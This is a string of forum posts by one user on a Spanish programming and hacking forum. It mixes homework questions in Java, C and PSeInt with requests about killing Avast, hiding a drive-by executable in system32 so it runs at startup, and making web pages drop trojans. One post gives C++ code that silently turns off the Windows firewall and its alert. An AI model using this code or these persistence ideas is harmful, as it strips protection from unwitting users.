LlamadaLocal l1 = new LlamadaLocal (976776917, 976481651, 43);
LlamadaLocal l2 = new LlamadaLocal (976501641, 976125464, 93);
LlamadaProvincial p1 = new LlamadaProvincial (688124321, 976838781, 32, 1);
LlamadaProvincial p2 = new LlamadaProvincial (622233434, 976830865, 54, 3);




c.registrarLlamadaLocal(l1);
c.registrarLlamadaLocal(l2);
c.registrarLlamadaProvincial(p1);
c.registrarLlamadaProvincial(p2);
l1.imprimirNumOrigen();
l1.imprimirNumDestino();
l1.imprimirDuracionSegundos();
l1.imprimirCosteLlamadaLx();
l2.imprimirNumOrigen();
l2.imprimirNumDestino();
l2.imprimirDuracionSegundos();
l2.imprimirCosteLlamadaLx();
p1.imprimirNumOrigen();
p1.imprimirNumDestino();
p1.imprimirDuracionSegundos();
p1.imprimirCosteLlamadaPx();
p2.imprimirNumOrigen();
p2.imprimirNumDestino();
p2.imprimirDuracionSegundos();
p2.imprimirCosteLlamadaPx();
c.imprimirTotalFacturado();


}

}


El programa funciona pero me gustaria saber como mejorarlo usando una clase abstracta (Llamada) y llamandola desde la clase Centralita. Un saludo.
#16
Programación C/C++ / problema en c
18 Diciembre 2012, 00:13 AM
Vereis estoy intentando hacer este ejercicio:
dado un arreglo de 10 valores metidos en source, nos haga un diagrama de barras que represente esos numeros. Barras en vertical.

Hasta ahora lo unico que he conseguido es que las barras aparezcan horizontalmente pero no se como hacerlo de arriba a abajo. Os pego el codigo que llevo:

#include <stdio.h>


int main(void) {
int valor[10]={7,3,5,10,8,4,1,6,7,5};
int i,j,asteriscos;
printf("Los valores que se van a representar como barras de asteriscos son:\n");
printf("7,3,5,10,8,4,1,6,7,5\n");

for (i=0;i<10;i++){ //abrimos un for que recorre todos los elementos del array.
asteriscos=valor[i]; //le damos a asteriscos el valor numerico de cada elemento del array.

printf("\n");
for (j=0;j<asteriscos;j++) //abrimos otro for para que convierta el numero del array en asteriscos.
printf("*");//se imprime un asterisco por cada valor de j, desde 0 hasta el valor del array.
}
printf("\n");
printf("\n");
printf("Presione una tecla para continuar...");
getchar();
return 0;
}
#17
Programación General / cuadrante pseint
26 Noviembre 2012, 02:11 AM
Hola, vereis estoy intentando de hacer conseguir un pseudocodigo con pseint para hacer un cuadrante de trabajo. Se supone que el cuadrante esta formado por una rueda de 7 semanas, en la que hay que trabajar algunos de mañana otros de tarde otros de noche y otros se descansa. Me gustaria que al introducirle una fecha del futuro nos diga si ese dia es lunes, martes... domingo, y ademas nos diga de que turno nos toca trabajar o si descansamos. Hasta el momento creo que lo tengo bastante bien desarrollado, pero me da un error. Si le introduzco una fecha del año 2016 me da un dia mas de lo que deberia. En el resto de años todo funciona correctamente. No entiendo porque me falla solo en ese año. Alguna idea?

Proceso sin_titulo
Dimension d[49];
definir d como Caracter;
Definir i,A,M,dia,da,avi,mi como Entero;
Definir resultado como Real;
d[0]="TARDE Martes";
d[1]="TARDE Miercoles";
d[2]="TARDE Jueves";
d[3]="TARDE Viernes";
d[4]="TARDE Sabado";
d[5]="TARDE Domingo";
d[6]="DESCANSO Lunes";
d[7]="DESCANSO Martes";
d[8]="MAÑANA Miercoles";
d[9]="MAÑANA Jueves";
d[10]="MAÑANA Viernes";
d[11]="DESCANSO Sabado";
d[12]="DESCANSO Domingo";
d[13]="MAÑANA Lunes";
d[14]="MAÑANA Martes";
d[15]="MAÑANA Miercoles";
d[16]="MAÑANA Jueves";
d[17]="NOCHE Viernes";
d[18]="NOCHE Sabado";
d[19]="NOCHE Domingo";
d[20]="LIBRANZA Lunes";
d[21]="LIBRANZA Martes";
d[22]="LIBRANZA Miercoles";
d[23]="LIBRANZA Jueves";
d[24]="LIBRANZA Viernes";
d[25]="LIBRANZA Sabado";
d[26]="LIBRANZA Domingo";
d[27]="NOCHE Lunes";
d[28]="NOCHE Martes";
d[29]="NOCHE Miercoles";
d[30]="NOCHE Jueves";
d[31]="DESCANSO Viernes";
d[32]="DESCANSO Sabado";
d[33]="DESCANSO Domingo";
d[34]="MAÑANA Lunes";
d[35]="MAÑANA Martes";
d[36]="MAÑANA Miercoles";
d[37]="MAÑANA Jueves";
d[38]="DESCANSO Viernes";
d[39]="MAÑANA TELEFONO Sabado";
d[40]="MAÑANA TELEFONO Domingo";
d[41]="MAÑANA TELEFONO Lunes";
d[42]="MAÑANA TELEFONO Martes";
d[43]="MAÑANA TELEFONO Miercoles";
d[44]="MAÑANA TELEFONO Jueves";
d[45]="MAÑANA TELEFONO Viernes";
d[46]="DESCANSO Sabado";
d[47]="DESCANSO Domingo";
d[48]="TARDE Lunes";

Escribir "Indica la fecha quieres saber?";
Escribir "Año";
leer A;
Escribir "Mes";
leer M;
Escribir "Dia";
leer dia;
Si A%4=0 Entonces
da<-(A-2013)*365+1;
Sino
da<-(A-2013)*365;
FinSi

para mi<- 1 hasta m-1 Hacer
si mi = 2 Entonces

   si (a%4) = 0  entonces

   da <- da + 29;

       
   sino
   da <- da + 28;
finsi
   sino
   si mi = 4 | mi = 6 | mi = 9 | mi = 11 entonces
   da <- da + 30;
   sino
   da <- da + 31;
   finsi
   FinSi
   FinPara
   da<-da+(dia-1);
resultado<-da%49;
Escribir resultado;


Escribir d[resultado];
FinProceso
#18
Programación C/C++ / error grave en programa
9 Noviembre 2010, 22:48 PM
Vereis he hecho un programa que hace lo que se le pide, pero llegado un momento se cierra bruscamente y sale una pantalla de windows diciendo error grave el programa va a cerrarse. Os pego el codigo a ver si alguien sabe a que puede ser debido:

editado codigo no funcional
#19
Programación C/C++ / ftp en c++
2 Noviembre 2010, 13:20 PM
Vereis estoy intentando acceder a mi ftp con un programa en c++ y bajarme un archivo a la carpeta system32. El problema es que no se si algo falla en la ruta o que pero no me lo descarga. Me da que tiene que ver algo con %SYSTEMROOT% Os pego el codigo de lo que llevo:

post absurdo no lo intente en su casa
#20
Programación Visual Basic / VB6 ?
21 Octubre 2010, 18:50 PM
Veran quisiera programar en visual basic. No se si la mejor version para hacerlo es la 6. Podria alguien decirme que version descargarme y a ser posible de donde? Dudo entre 2010, o la 6. Dudo entre version completa y version express. Una recomendacion por favor. Saludos
#21
Foro Libre / Abandono el foro
28 Agosto 2010, 02:14 AM
Llevo años en este foro, sin colaborar mucho, dicho sea de paso, porque nunca he sido un gran conocedor ni de programacion ni de hack en general. Pero leyendo y leyendo post he aprendido bastante. De todos modos percibo que en los ultimos años campa a sus anchas en el foro una fauna que a mi modo de ver desvirtuan la propia realidad de un foro, que yo pienso es la de colaborar y ayudarse los unos a los otros, sobre todo los que mas saben con los nuevos, para ir creando cantera. Antes era asi como digo, ahora me da la sensacion que no.

Estoy bastante acostumbrado a que la gente me trate mal en el foro. Los que saben y los que no saben. He llegado a pensar que el problema era mio, pero veo con estupor que no soy yo el unico con el que sucede.

Hace poco puse un post preguntando algo sobre lo que iba bastante perdido, y aunque a algunos pueda parecer indecoroso, mire en google durante dos dias antes de preguntar. Lei y relei codigos en c c++ vc y vb. Al final fui haciendome composicion de lugar y mi duda tomo otro cariz y al final del todo despues de dos dias mas viendo como todo el mundo pasaba de mi, y una vez encontrada la solucion por mi cuenta la postee durante unas horas y luego la borre. Podria decirte que para que los lammers no copiaran mi codigo, pero no, sere sincero, la borre porque estaba quemado con el comportamiento de mucha gente en el foro.
No es el caso de algunos, pero en regla general, el foro a mi modo de ver no es justo con ciertos usuarios.

Evidentemente gente que pregunta como hackear la wifi de mi vecino deberian ser inmediatamente baneados. Pero da mucho coraje ver como gente que se esfuerza de veras, es ninguneada por algunos y tratada sin el menor respeto. Te aseguro que me he pegado las ultimas 4 semanas trabajando en un codigo que me ha dado un monton de quebraderos de cabeza, y metiendo alrededor de 8 horas diarias, un codigo escrito en c++, lenguaje que desconocia antes de esas cuatro semanas. He aprendido mucho, y soy muy feliz porque me he ganado a pulso lo que he conseguido, por constancia, trabajo y teson y sobre todo porque he encontrado a alguien que para mi representa el espiritu del hacktivismo, que comparte todo lo que sabe conmigo, que me ayuda en lo posible, y que lo da todo para formar piña y equipo conmigo.

Pero a veces una ayuda extra de alguien con mas conocimientos es necesaria, y creo que no la hemos tenido, al menos hasta hoy, salvo un par de casos concretos. Por eso cuando alguien te dice: estas buscando mal, mirate el google, ese codigo tiene fallos muy gordos, desconoces la programacion,  o cosas asi, la verdad es que uno se cabrea. O lo que es peor gente que va de sobrada y que lo unico que le apetece es dar la sensacion de que saben un monton pero guardarselo todo para ellos, egoismo puro y duro vamos, escudandose en que la unica forma de que aprendas es que te lo curres tu solito, verdad a medias a mi modo de ver, porque quien no se ha bloqueado con algo y ha pensado que no lograria continuar?. Porque nadie me ve currar horas delante del pc, ni naci sabiendo hablar ni caminar pero ganas de superarme no me faltan y amor propio tampoco. Por eso siento decir que dejo el foro, creo que no va por buen camino, porque las malas actitudes se estan adueñando de el, y la libertad, buen rollo, y sobre todo enseñanza que habia por parte de gente como el Brujo se estan yendo al cuerno.

De todos modos siento la parrafada, y agradezco la disposicion de cierta gente que me ayudo. Me despido sin mas del foro, doy las gracias por todo el conocimiento que se me brindo. Siento no continuar, pero la verdad, me canse de ciertas cosas. No se si tendre razon o no, pero no pude ser mas sincero en mis planteamientos. Abrazos.
#22
Análisis y Diseño de Malware / AV
19 Agosto 2010, 00:58 AM
Es posible matar el antivirus Avast en su ultima version?
Lo he intentado con taskkill y no hay manera. Alguna sugerencia, o tal como he leido en algun lado es imposible matarlo en su ultima version?
#23
Programación C/C++ / C y carpeta system32
18 Agosto 2010, 13:23 PM
Vereis ando haciendo pruebas con una pagina web de mi propiedad. Lo que sucede es que cuando la visitas te descarga de modo oculto un ejecutable escrito en c por mi. Lo que quisiera saber es si hay alguna forma de meter codigo para que ese archivo se guarde en system32 y se ejecute en cada inicio del sistema. Que ruta habria que meter, ya que lo he intentado guardandolo en usuarios, pero esa ruta cambia dependiendo del pc y su s.o. He probado a hacerlo con la funcion system() pero no he logrado nada.
Un saludo.
#24
Ingeniería Inversa / Zips karpoff
18 Agosto 2010, 08:28 AM
Vereis he visto los mirrors que funcionan por internet de este peazo de crack de la Ingenieria Inversa. Tiene tutoriales de lo mas apetecibles, pero por mas que me los descargo vienen todos sus zips con pass. Alguien sabe cual es la pass, o la mejor forma de lograrla?
La Web que he usado para bajarlos es el link que dejo ojady:


http://www.mirrorkarpoffespanishtutor.comxa.com

Saludos.
#25
Programación C/C++ / c++ y registros
30 Julio 2010, 12:35 PM
Vereis estoy intentando desabilitar con c++ el fire de windows y el mensaje que sale en la parte inferior de la pantalla cuando lo haces. He logrado desabilitar el firewall pero la caja del mensajito que dice que no estas protegido no logro hacerlo. Lo estoy intentando con system y registros pero no se si es posible o que hago mal. Ahi va el codigo:

#include <stdio.h>
#include <stdlib.h>

int main()
  {
  system("reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess\Parameters\FirewallPolicy\Standard Profile /v DisableNotifications /t REG_DWORD /d "1" /f");
  system("net stop sharedaccess");
  return 0;
  }
#26
Hacking / Extraño escaneo
25 Febrero 2010, 20:11 PM
Vereis hablando con un amigo por msn le dije sin enviarle ningun archivo cual era su ip y le pedi que lo comprobase, siendo cierta la que yo le dije. Entonces me pregunto si podia entrarle y yo le dije que eso no era tan facil, pero que si queria le hacia un scan con nmap a ver si veia algun puerto abierto o alguna posible vulnerabilidad. Le hago un scan y esto es lo que me aparece:

PORT     STATE SERVICE    VERSION

23/tcp   open  tcpwrapped

1863/tcp open  unknown?

1864/tcp open  tcpwrapped

4443/tcp open  tcpwrapped

5190/tcp open  aol?

5566/tcp open  tcpwrapped

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.17 - 2.6.25

Me quede a cuadros, porque segun eso tenia el puerto de telnet abierto, intento acceder a el para ver si me pide user y pass y mi amigo se cae de internet. Lo mas curioso de todo es que en los puertos que me salen como abiertos aparece como servicio que esta corriendo "tcpwrapped" y esto no se que es. Ademas esta corriendo bajo windows xp y en cambio me detecta linux 2.6.17 (bastante actualizado el kernel por lo que veo). Que diantres es esto? Un honeypot?
#27
PHP / Cerrar explorador en web joomla
3 Febrero 2009, 11:43 AM
Hola, vereis tengo una duda. Tengo una web en joomla y he creado un modulo con este codigo:

<a href="rfactor://xxx.xxx.xxx.175:33298"><img src="http://liga.site88.net/popup.png"></a>
<a href="javascript:self.close()"></a>


Esto lo que deberia hacer es lanzar un juego llamado rfactor al clickar sobre la imagen png y conectar a un server para jugar en red por el puerto 33298. Lo que quiero es que despues de lanzar el juego me cierre el navegador, pero no consigo que lo haga aun usando esta funcion: "javascript:self.close()">

Veis factible hacerlo? Es problema del codigo? Se podria hacer con un contador de tiempo despues de haber pinchado en la imagen para que pasados x segundos el navegador se cierre?
#28
Vereis, llevo visitando esta web desde unos seis años y recuerdo siempre gratamente el chat de irc, con el brujo y mas gente contestando por el mero placer de hacerlo.

Siempre he leido manuales, tutoriales y demas y soy curioso y me gusta el google y no que me lo den todo mascado. Hace unos dias estoy liado con algo, que en si es tema web, tema php y tema hack a la vez. Pues bien he posteado en la sección web del foro, aun sin exito pero ahi esta el mensaje.

Tambien he posteado en la subseccion php y mi mensaje fue borrado, aunque versaba sobre eso (php).

Y ayer postee en la sección hacking avanzado sobre el mismo tema y tambien fue borrado mi post.

Vereis, desde luego que tal vez puedo estar equivocado y meter mi post en un sitio que el moderador considere que no es el adecuado. Pero fastidia que los post sean borrados y ademas sin ninguna explicacion. Podiais aconsejar mueve este post a esta sección, queda mas humano.

Esta web la adoro, he aprendido mucho en ella, y me da pena ver que esto se esta convirtiendo en algo impersonal. Que con esta cuenta solo lleve seis post no significa que sea un ignorante y que no me lea ni secciones ni subsecciones y que solo busque fastidiar a los moderadores de cada sección y que busque una respuesta rapida y sin esfuerzo a mis problemas.

Si me equivoco me gusta que me lo digan porque si se me borra y se me ignora a lo unico que lleva a que me desencante de este sitio. No lo digo por mi, que seguire viniendo aunque no se me conteste por el mero placer de leer los excelentes trabajos de gente que aqui publica (como anelkaos).

Pero por favor entended que si planteo esta queja es con animo de cierta mejora. De acuerdo que hay gente que ni mira ni lee y solo quiere una contraseña del msn para espiar a su novia o que se yo. Pero por favor un poco mas de consideracion por parte de algun moderador, que a veces creo humildemente que se pierde un poco la perspectiva.

Un saludo y perdon si moleste a alguien con mis palabras.
#29
PHP / web php ejecuta script
30 Enero 2009, 00:19 AM
Vereis, hoy andaba buscando info sobre php, ya que habia una duda sobre este lenguaje que me acuciaba y en el foro parece que nadie podia ayudarme. Y cual fue mi sorpresa que navegando entro en una web y me salta el antivirus un mensaje: detectado troyano. Ahi es cuando me ha surgido la duda de como narices hacen eso? Ejecutando un script al cargar la pagina? Que comando php esta relacionado con esto? Es decir, yo se que puedes programar para que en cierta zona puedas pinchar para descargar algo. Pero nada mas cargar la pagina, sin darle a nada, que se te descargue un troyano y si no llega a ser por el antivirus no lo hubiese detectado, pues...
Que comando php usan para hacer esto?